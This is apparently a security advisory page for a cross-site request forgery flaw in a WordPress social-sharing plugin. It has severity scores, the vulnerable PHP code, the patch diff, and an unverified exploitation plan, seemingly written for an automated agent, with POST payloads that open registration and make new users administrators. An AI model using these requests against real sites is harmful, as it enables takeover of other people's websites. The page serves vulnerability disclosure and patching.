CVE-2026-34904

Simple Social Media Share Buttons – Social Sharing for Everyone <= 6.2.0 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
6.2.1
Patched in
9d
Time to patch

Description

The Simple Social Media Share Buttons – Social Sharing for Everyone plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 6.2.0. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.2.0
PublishedApril 7, 2026
Last updatedApril 15, 2026
Affected pluginsimple-social-buttons

What Changed in the Fix

Changes introduced in v6.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-34904 ## 1. Vulnerability Summary The **Simple Social Media Share Buttons** plugin (<= 6.2.0) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to missing nonce validation and capability checks in the `lib/wpb-sdk/views/wpb-debug.php` file. This file…

Show full research plan

Exploitation Research Plan - CVE-2026-34904

1. Vulnerability Summary

The Simple Social Media Share Buttons plugin (<= 6.2.0) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation and capability checks in the lib/wpb-sdk/views/wpb-debug.php file. This file is part of the WPBrigade SDK integrated into the plugin. It contains several POST request handlers that perform sensitive operations, most notably allowing the modification of arbitrary WordPress options via the update_option function.

2. Attack Vector Analysis

  • Target Endpoint: An administrative page within the WordPress dashboard that includes the wpb-debug.php view. Based on the plugin's slug, this is typically accessed at /wp-admin/admin.php?page=simple-social-buttons&view=debug or a similar SDK-injected route.
  • Vulnerable Parameters:
    • set_option_name: The name of the WordPress option to modify.
    • option_value: The new value for the specified option.
    • load_option_name: The name of an option to retrieve and display (Information Leak).
  • Authentication: Requires a victim with administrative privileges to be logged in and tricked into submitting a request (e.g., via an auto-submitting hidden form).
  • Preconditions: The plugin "Simple Social Media Share Buttons" must be active.

3. Code Flow

  1. Entry Point: The administrator visits the plugin's debug page or is forced to send a POST request to the URL associated with the SDK's debug view.
  2. File Inclusion: The plugin (via the WPBrigade SDK) includes lib/wpb-sdk/views/wpb-debug.php.
  3. Processing: At the top of wpb-debug.php, the code checks for POST parameters:
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) {
        $option_name = $_POST['set_option_name'];
        $option_value = $_POST['option_value'];
        custom_plugin_set_option($option_name, $option_value); // Sink 1: update_option
        echo '<div id="success_message">Successfully set the option</div>';
    }
    
  4. Sink: The function custom_plugin_set_option (defined in the same file) calls update_option($option_name, $option_value) without any permission or nonce checks.

4. Nonce Acquisition Strategy

According to the source code analysis, no nonce validation is implemented in the POST handlers within lib/wpb-sdk/views/wpb-debug.php.

  • The code directly checks $_SERVER['REQUEST_METHOD'] === 'POST' and isset($_POST['...']).
  • There is no call to check_admin_referer(), check_ajax_referer(), or wp_verify_nonce().
  • Conclusion: No nonce is required for exploitation.

5. Exploitation Strategy

The objective is to change critical WordPress settings to compromise the site. We will target the users_can_register and default_role options to allow the attacker to register a new administrator account.

Step 1: Enable Open Registration

  • Action: Update users_can_register to 1.
  • HTTP Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin.php?page=simple-social-buttons&view=debug
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: set_option_name=users_can_register&option_value=1

Step 2: Set Default Role to Administrator

  • Action: Update default_role to administrator.
  • HTTP Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin.php?page=simple-social-buttons&view=debug
  • Body: set_option_name=default_role&option_value=administrator

Step 3: (Optional/Indicator) Change Site Title

  • Action: Change blogname to "Hacked Site".
  • Body: set_option_name=blogname&option_value=Exploited

6. Test Data Setup

  1. Ensure the plugin is installed and activated: wp plugin activate simple-social-buttons.
  2. Ensure a standard administrator user exists to act as the victim (cookies must be captured or session simulated for the http_request tool).
  3. Verify the default state: wp option get users_can_register should be 0 and wp option get default_role should be subscriber.

7. Expected Results

  • The response to the POST requests should contain the string: Successfully set the option.
  • The WordPress database options should be updated immediately.

8. Verification Steps

After executing the exploit via http_request, verify the changes using WP-CLI:

  1. wp option get users_can_register (Expected: 1)
  2. wp option get default_role (Expected: administrator)
  3. wp option get blogname (Expected: Exploited)

9. Alternative Approaches

If the view=debug parameter is incorrect or the SDK is mapped differently:

  • Use browser_navigate to /wp-admin/admin.php?page=simple-social-buttons and inspect the "Debug" tab/link to find the exact URL.
  • If the "Set DB Option" form is hidden via JS, the http_request tool will still work as the backend PHP handler does not check for visibility.
  • Target the load_option_name parameter to leak the wpb_sdk_module_id or other sensitive keys:
    • Body: load_option_name=admin_email
    • Expected: The response will display the admin's email address in the #result div.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple Social Media Share Buttons plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 6.2.0. This is due to missing nonce validation and capability checks in the WPBrigade SDK's debug view, allowing unauthenticated attackers to modify arbitrary WordPress options if they can trick an administrator into performing an action such as clicking a link.

Vulnerable Code

// lib/wpb-sdk/views/wpb-debug.php:85
function custom_plugin_set_option($option_name, $option_value)
{
    update_option($option_name, $option_value);
}

// Handle form submission to set option value
// lib/wpb-sdk/views/wpb-debug.php:91
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) {
    $option_name = $_POST['set_option_name'];
    $option_value = $_POST['option_value'];

    custom_plugin_set_option($option_name, $option_value);

    echo '<div id="success_message">Successfully set the option</div>';
}

---

// lib/wpb-sdk/views/wpb-debug.php:105
// Handle form submission to load option value
$option_value = '';
$result_visible = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['load_option_name'])) {
    $option_name = $_POST['load_option_name'];
    $option_value = custom_plugin_get_option_value($option_name);
    $result_visible = true;
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/simple-social-buttons/6.2.0/lib/wpb-sdk/views/wpb-debug.php	2025-08-07 10:40:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simple-social-buttons/6.2.1/lib/wpb-sdk/views/wpb-debug.php	2026-03-17 06:17:50.000000000 +0000
@@ -1,333 +1,483 @@
 <?php
-// Enqueue CSS file for admin debugging
-function enqueue_custom_styles()
-{
-    // Enqueue the debug.css file from your plugin's directory
-    wp_enqueue_style('custom-debug-style', plugins_url('admin/css/debug.css', __FILE__));
+/**
+ * WPB Debug view.
+ *
+ * HIGH RISK – Admin-only debug UI. Outputs sensitive data (keys, paths, user info).
+ * Only load when is_admin(), manage_options, and WPBRIGADE_SDK__DEV_MODE are satisfied.
+ *
+ * @package Simple Social Buttons
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
 }
-add_action('wp_enqueue_scripts', 'enqueue_custom_styles');
 
+if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
+	wp_die(
+		esc_html__( 'You do not have permission to access this page.', 'simple-social-buttons' ),
+		'',
+		array( 'response' => 403 )
+	);
+}
 
-$slug = get_option('wpb_sdk_module_slug');
-$id = get_option('wpb_sdk_module_id');
+if ( ! defined( 'WPBRIGADE_SDK__DEV_MODE' ) || true !== WPBRIGADE_SDK__DEV_MODE ) {
+	wp_die(
+		esc_html__( 'Debug mode is not enabled.', 'simple-social-buttons' ),
+		'',
+		array( 'response' => 403 )
+	);
+}
+
+/**
+ * Verify POST request: method, capability, and nonce for a given action.
+ */
+function wpb_debug_verify_request( $action ) {
+	if ( ! isset( $_SERVER['REQUEST_METHOD'] ) || 'POST' !== $_SERVER['REQUEST_METHOD'] ) {
+		return false;
+	}
+	if ( ! current_user_can( 'manage_options' ) ) {
+		return false;
+	}
+	if ( ! isset( $_POST['_wpnonce'] ) ) {
+		return false;
+	}
+	return (bool) wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), $action );
+}
+
+/** Option name prefix allowed for Set DB Option (strict whitelist by prefix). */
+define( 'WPB_DEBUG_OPTION_PREFIX', 'wpb_' );
 
-// Handle form submission to set option value
-if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) {
-    $option_name = $_POST['set_option_name'];
-    $option_value = $_POST['option_value'];
-
-    custom_plugin_set_option($option_name, $option_value);
+/**
+ * Set an option value only if it is in the allowed prefix scope.
+ */
+function wpb_debug_set_option( $option_name, $option_value ) {
+	if ( ! current_user_can( 'manage_options' ) ) {
+		return false;
+	}
+	$option_name = sanitize_text_field( $option_name );
+	if ( '' === $option_name || 0 !== strpos( $option_name, WPB_DEBUG_OPTION_PREFIX ) ) {
+		return false;
+	}
+	update_option( $option_name, $option_value );
+	return true;
+}
 
-    echo '<div id="success_message">Successfully set the option</div>';
+$wpb_debug_set_option_success   = false;
+$wpb_debug_set_option_submitted = false;
+if ( isset( $_POST['set_option_name'], $_POST['option_value'] ) && wpb_debug_verify_request( 'wpb_debug_set_option' ) ) {
+	$wpb_debug_set_option_submitted = true;
+	$option_name                    = sanitize_text_field( wp_unslash( $_POST['set_option_name'] ) );
+	$option_value                   = isset( $_POST['option_value'] ) ? sanitize_text_field( wp_unslash( $_POST['option_value'] ) ) : '';
+	$wpb_debug_set_option_success   = wpb_debug_set_option( $option_name, $option_value );
 }

Exploit Outline

The exploit targets the plugin's debug view, which handles POST requests to update WordPress options without any nonce validation. An attacker can craft a hidden HTML form that sends a POST request to `/wp-admin/admin.php?page=simple-social-buttons&view=debug`. The payload uses the `set_option_name` and `option_value` parameters to modify sensitive WordPress settings. For example, setting `users_can_register` to `1` and `default_role` to `administrator` allows an attacker to register their own administrative account. The attack requires a logged-in site administrator to visit a malicious website or click a specifically crafted link while their session is active.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.